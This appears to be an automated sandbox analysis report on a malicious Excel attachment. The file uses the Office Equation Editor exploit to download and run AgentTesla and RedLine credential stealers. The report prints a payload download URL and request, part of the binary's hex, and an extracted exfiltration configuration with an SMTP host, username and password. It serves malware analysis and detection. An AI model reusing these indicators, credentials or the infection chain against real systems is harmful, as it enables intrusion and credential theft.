Windows Analysis Report
Order Request1_5_24.xlam.xlsx

Overview

General Information

Sample name: Order Request1_5_24.xlam.xlsx
Analysis ID: 1435095
MD5: 8216d3088f8358388dfcbdc7026f2ea1
SHA1: 3040eaecd169f745eae12c30652eebc676c3f234
SHA256: 37d95e56ed2ab7dbaeae0f8afad3d94ffd9286dee2447ad631b52ecd84a4f47a
Tags: AgentTeslaxlamxlsx
Infos:

Detection

AgentTesla, PureLog Stealer, RedLine
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Yara detected AgentTesla
Yara detected PureLog Stealer
Yara detected RedLine Stealer
.NET source code contains method to dynamically call methods (often used by packers)
Binary is likely a compiled AutoIt script file
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Found API chain indicative of sandbox detection
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Shellcode detected
Sigma detected: Equation Editor Network Connection
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document misses a certain OLE stream usually present in this Microsoft Office document type
Downloads executable code via HTTP
Drops PE files
Found evasive API chain (may stop execution after checking a module file name)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Office Equation Editor has been started
Potential key logger detected (key state polling based)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Agent Tesla, AgentTesla A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.
  • SWEED
 https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla
Name Description Attribution Blogpost URLs Link
RedLine Stealer RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: Order Request1_5_24.xlam.xlsx Avira: detected
Found malware configuration
Source: 12.2.RegSvcs.exe.300ee8.0.raw.unpack Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.kino2.top", "Username": "serverizu09@kino2.top", "Password": " XY%R[udi4U]= "}
Multi AV Scanner detection for domain / URL
Source: http://23.94.54.101/IZG.exe Virustotal: Detection: 5% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\OIU.exe ReversingLabs: Detection: 27%
Multi AV Scanner detection for submitted file
Source: Order Request1_5_24.xlam.xlsx Virustotal: Detection: 52% Perma Link
Source: Order Request1_5_24.xlam.xlsx ReversingLabs: Detection: 68%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\OIU.exe Joe Sandbox ML: detected

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 23.94.54.101 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\OIU.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\OIU.exe Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: _.pdb source: RegSvcs.exe, 0000000C.00000002.619859392.0000000000300000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.619992172.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.620190248.0000000003761000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: OIU.exe, 00000003.00000003.457625635.0000000002B10000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 00000003.00000003.457568121.0000000002C70000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 00000005.00000003.460414972.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 00000005.00000003.460320894.0000000002990000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 00000007.00000003.462048122.0000000002B20000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 00000007.00000003.462023023.0000000002950000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 00000009.00000003.463861681.00000000025F0000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 00000009.00000003.463799420.0000000002A60000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 0000000B.00000003.465588880.00000000029E0000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 0000000B.00000003.465720630.0000000002B40000.00000004.00001000.00020000.00000000.sdmp
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C0DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose, 3_2_00C0DBBE
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BDC2A2 FindFirstFileExW, 3_2_00BDC2A2
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C168EE FindFirstFileW,FindClose, 3_2_00C168EE
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C1698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime, 3_2_00C1698F
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C0D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 3_2_00C0D076
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C0D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 3_2_00C0D3A9
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C19642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 3_2_00C19642
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C1979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 3_2_00C1979D
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C19B2B FindFirstFileW,Sleep,FindNextFileW,FindClose, 3_2_00C19B2B
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C15C97 FindFirstFileW,FindNextFileW,FindClose, 3_2_00C15C97

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Shellcode detected
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035206C1 WriteFile, 2_2_035206C1
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03520661 LoadLibraryW, 2_2_03520661
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03520867 WinExec,ExitProcess, 2_2_03520867
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0352070D WriteFile, 2_2_0352070D
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035207B4 WriteFile,WinExec,ExitProcess, 2_2_035207B4
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0352062A CreateFileW, 2_2_0352062A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03520729 WriteFile, 2_2_03520729
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0352075A WriteFile, 2_2_0352075A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035205DE CreateFileW, 2_2_035205DE
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03520776 WriteFile, 2_2_03520776
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03520617 CreateFileW, 2_2_03520617
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0352079A WriteFile, 2_2_0352079A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0352059B CreateFileW, 2_2_0352059B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03520582 ExitProcess,CreateFileW, 2_2_03520582
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03520887 ExitProcess, 2_2_03520887
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035205B7 CreateFileW, 2_2_035205B7
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Wed, 01 May 2024 18:27:08 GMTAccept-Ranges: bytesETag: "56802d2df59bda1:0"Server: Microsoft-IIS/8.5Date: Thu, 02 May 2024 02:59:07 GMTContent-Length: 1287680Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 cb fc 31 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 f6 09 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 14 00 00 04 00 00 c1 2a 14 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 f4 3a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 13 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f4 3a 06 00 00 40 0d 00 00 3c 06 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 80 13 00 00 76 00 00 00 30 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /IZG.exe HTTP/1.1Connection: Keep-AliveHost: 23.94.54.101
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 239.255.255.250 239.255.255.250
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.94.54.101
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C1CE44 InternetReadFile,SetEvent,GetLastError,SetEvent, 3_2_00C1CE44
Source: global traffic HTTP traffic detected: GET /chrome/whats-new/m109?internal=true HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIa2yQEIorbJAQipncoBCKj3ygEIk6HLAQiFoM0BCNy9zQEIuMjNAQ==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CONSENT=PENDING+962; SOCS=CAESHAgCEhJnd3NfMjAyMzA4MDEtMF9SQzMaAmVuIAEaBgiAi8amBg; __Secure-ENID=14.SE=LM-NkPAvbCtuNhK73uRS1U27fKMegq7R6_Ue_GnOGI1dekNKandC6Dto1fKS9ocnnyUmf2MAXGM269U9HhkgndYLxWy3FrZaGzh_yODdv1ouU12fBCNmRhMUwM3dzKbRlYRnbKhIQz9fV5WGdCRRjXQx5RGii6FbIw100Hc46oWQ6bysmy2hqA
Source: global traffic HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIa2yQEIorbJAQipncoBCKj3ygEIk6HLAQiFoM0BCNy9zQEIuMjNAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/ddljson%3Fasync%3Dntp:2&q=EgS_YJbhGKeDzLEGIjBSLRpDP2VScdj7Wpd5SrmnrYLtq8Jxv8Ovu6XTpT1_vcDso1uPHungiEeAb9P6jnYyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-05-02-02; NID=513=NzyG8Nyv5BXujfkwphRTYxYEUVrb6jfX_2yeMuOfr_qNQxqvDKRrqrtrWEHZHxhJMeNDaUmaaS78O00fbCizccjghnIwkZvzsdQQgN5U-zhjUS1gHO8WIzLKgkl7guG8eeDU6_nnrtuUBmXKAstwUTeNKKRjYiMJ5yVbTN5x7t8
Source: global traffic HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgS_YJbhGKeDzLEGIjDeDtf43edoX_DQr4xePeWIRj_Zk_cdJHjRaIqGGnjHhWEURD3S2dwEoI7xgpMRkzoyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIa2yQEIorbJAQipncoBCKj3ygEIk6HLAQiFoM0BCNy9zQEIuMjNAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-05-02-02; NID=513=LkB_Hqntk55N-FkwqFcQWCEnqMKKabQfBv3CxQkaVu55mLFJndbeF9V5VbzO9R-GXq9I1GDYTeTS1uxTIrLIlWxuTFfPAOau3qyc6NTtnoWDpxWH0gdAD-ycAotGgLayl5TMxnrYksi6Xoq5vii-hCUmjtaY1oMG5kTAFZhXqVE
Source: global traffic HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgS_YJbhGKeDzLEGIjAngwEuuQDIFwKdm-Bs70gGjylYp6jr6gUkagUnxegoQxARWccq1LwEgBECfcL1PAAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-05-02-02; NID=513=lpyXZCtY4-f7RTQqITZzyfksHw8iVb8BjmhLRGhw22-oS5CYqo5Qf1n0WYSogBsLbVqyXW3EfQ34ZtB3eifVWsUeY-l_NgGeNuOYNvNaSG-Xrcu-BmWdwT6QAXyGGDBWCBmdSK8blzs9R5owObV2uBTanI8aQO5FG6WgAkohuMA
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIa2yQEIorbJAQipncoBCKj3ygEIk6HLAQiFoM0BCNy9zQEIuMjNAQ==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CONSENT=PENDING+962; SOCS=CAESHAgCEhJnd3NfMjAyMzA4MDEtMF9SQzMaAmVuIAEaBgiAi8amBg; __Secure-ENID=14.SE=LM-NkPAvbCtuNhK73uRS1U27fKMegq7R6_Ue_GnOGI1dekNKandC6Dto1fKS9ocnnyUmf2MAXGM269U9HhkgndYLxWy3FrZaGzh_yODdv1ouU12fBCNmRhMUwM3dzKbRlYRnbKhIQz9fV5WGdCRRjXQx5RGii6FbIw100Hc46oWQ6bysmy2hqA; 1P_JAR=2024-05-02-02; NID=513=lpyXZCtY4-f7RTQqITZzyfksHw8iVb8BjmhLRGhw22-oS5CYqo5Qf1n0WYSogBsLbVqyXW3EfQ34ZtB3eifVWsUeY-l_NgGeNuOYNvNaSG-Xrcu-BmWdwT6QAXyGGDBWCBmdSK8blzs9R5owObV2uBTanI8aQO5FG6WgAkohuMA
Source: global traffic HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-05-02-02; NID=513=lpyXZCtY4-f7RTQqITZzyfksHw8iVb8BjmhLRGhw22-oS5CYqo5Qf1n0WYSogBsLbVqyXW3EfQ34ZtB3eifVWsUeY-l_NgGeNuOYNvNaSG-Xrcu-BmWdwT6QAXyGGDBWCBmdSK8blzs9R5owObV2uBTanI8aQO5FG6WgAkohuMA
